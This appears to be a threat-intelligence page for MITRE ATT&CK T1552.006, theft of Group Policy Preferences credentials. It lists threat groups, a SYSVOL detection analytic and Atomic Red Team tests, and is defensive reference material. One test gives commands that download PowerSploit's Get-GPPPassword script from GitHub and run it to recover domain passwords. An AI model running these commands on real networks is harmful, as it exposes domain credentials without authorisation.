tfMITRE ATT&CK sub-technique

Group Policy Preferences T1552.006

sub-technique of T1552 Unsecured Credentials

Tactic: Credential Access
Platform: Windows
Version: 1.1
Created: 11 February 2020
Last modified: 12 May 2026

Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.[1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups56th pct

Threat groups56th percentile · 56% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware57th pct

Tools & malware57th percentile · 57% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules71st pct

Detection rules71st percentile · 71% of ATT&CK techniques have this many detection rules written or fewer.

Group Policy Preferences MITRE reference T1552.006

56th pctamong all ATT&CK techniques for number of groups

2 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

Wizard SpiderG0102 ↗

Has used PowerShell cmdlets Get-GPPPassword and Find-GPOPassword to find unsecured credentials in a compromised network group policy.1

created 2020-05-121 referenceaka UNC1878

APT33G0064 ↗

Has used a variety of publicly available tools like Gpppassword to gather credentials.1 2

created 2018-04-182 referencesaka HOLMIUM

All 2 groups for this technique

Offense vs defense T1552.006

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 6Splunk ESCU (cumulative) · 2

first rule: 2018 Q2

Group Policy Preferences detection strategy DET0381

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detect Access and Decryption of Group Policy Preference (GPP) Credentials in SYSVOL

Enterprise

1 platform

AN1075 · Windows

Correlates file enumeration of XML files in the SYSVOL share with suspicious process execution that decodes or reads encrypted credentials embedded in Group Policy Preference files (e.g., Get-GPPPassword.ps1, gpprefdecrypt.py, Metasploit). Detects abnormal access to \DOMAIN\SYSVOL combined with XML file parsing or decryption logic.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Script ExecutionDC0029	WinEventLog:PowerShell	Scripts with references to XML parsing, AES decryption, or gpprefdecrypt logic
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
File CreationDC0039	WinEventLog:Sysmon	EventCode=11
Network Share AccessDC0102	WinEventLog:Security	EventCode=5145

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
UserContext	Tune to exclude authorized admin users or domain controllers accessing SYSVOL
TimeWindow	Adjust for correlation timing between file access and script execution
KnownToolsSignature	Extend to include known GPP parsing tool names or script hashes
HostType	Distinguish between expected access from DCs vs. lateral movement from workstations

Tests2Executorscmd 1 · PowerShell 1Need elevation0 of 2Have prerequisites2Have cleanup0Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

GPP Passwords (findstr)

windows

cmd

—

GPP Passwords (Get-GPPPassword)

windows

PowerShell

—

Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This test is intended to be run from a domain joined workstation, not on the Domain Controller itself. The Get-GPPPasswords.ps1 executed during this test can be obtained using the get-prereq_commands. Successful test execution will either display the credentials found in the GPP files or indicate "No preference files found".

Input arguments

Name	Type	Default	Description
gpp_script_url	url	https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/87630cac639f29c2adcb163f661f02890adf4bdd/Exfiltration/Get-GPPPassword.ps1	URL of the Get-GPPPassword PowerShell Script
gpp_script_path	path	PathToAtomicsFolder\..\ExternalPayloads\Get-GPPPassword.ps1	Path to the Get-GPPPassword PowerShell Script

Attack command

. "#{gpp_script_path}"
Get-GPPPassword -Verbose

Prerequisite

Get-GPPPassword PowerShell Script must exist at #{gpp_script_path}

Check

if(Test-Path "#{gpp_script_path}") {exit 0 } else {exit 1 }

Satisfy

New-Item -ItemType Directory (Split-Path "#{gpp_script_path}") -Force | Out-Null
Invoke-WebRequest #{gpp_script_url} -OutFile "#{gpp_script_path}"

Prerequisite

Computer must be domain joined

Check

if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}

Satisfy

Write-Host Joining this computer to a domain must be done manually

GUID05d98e83-e72f-4a58-a244-2451f5ca720c

Tests from Atomic Red Team (MIT licence) · technique definition

Group Policy Preferences detections T1552.006

8 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

71st pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs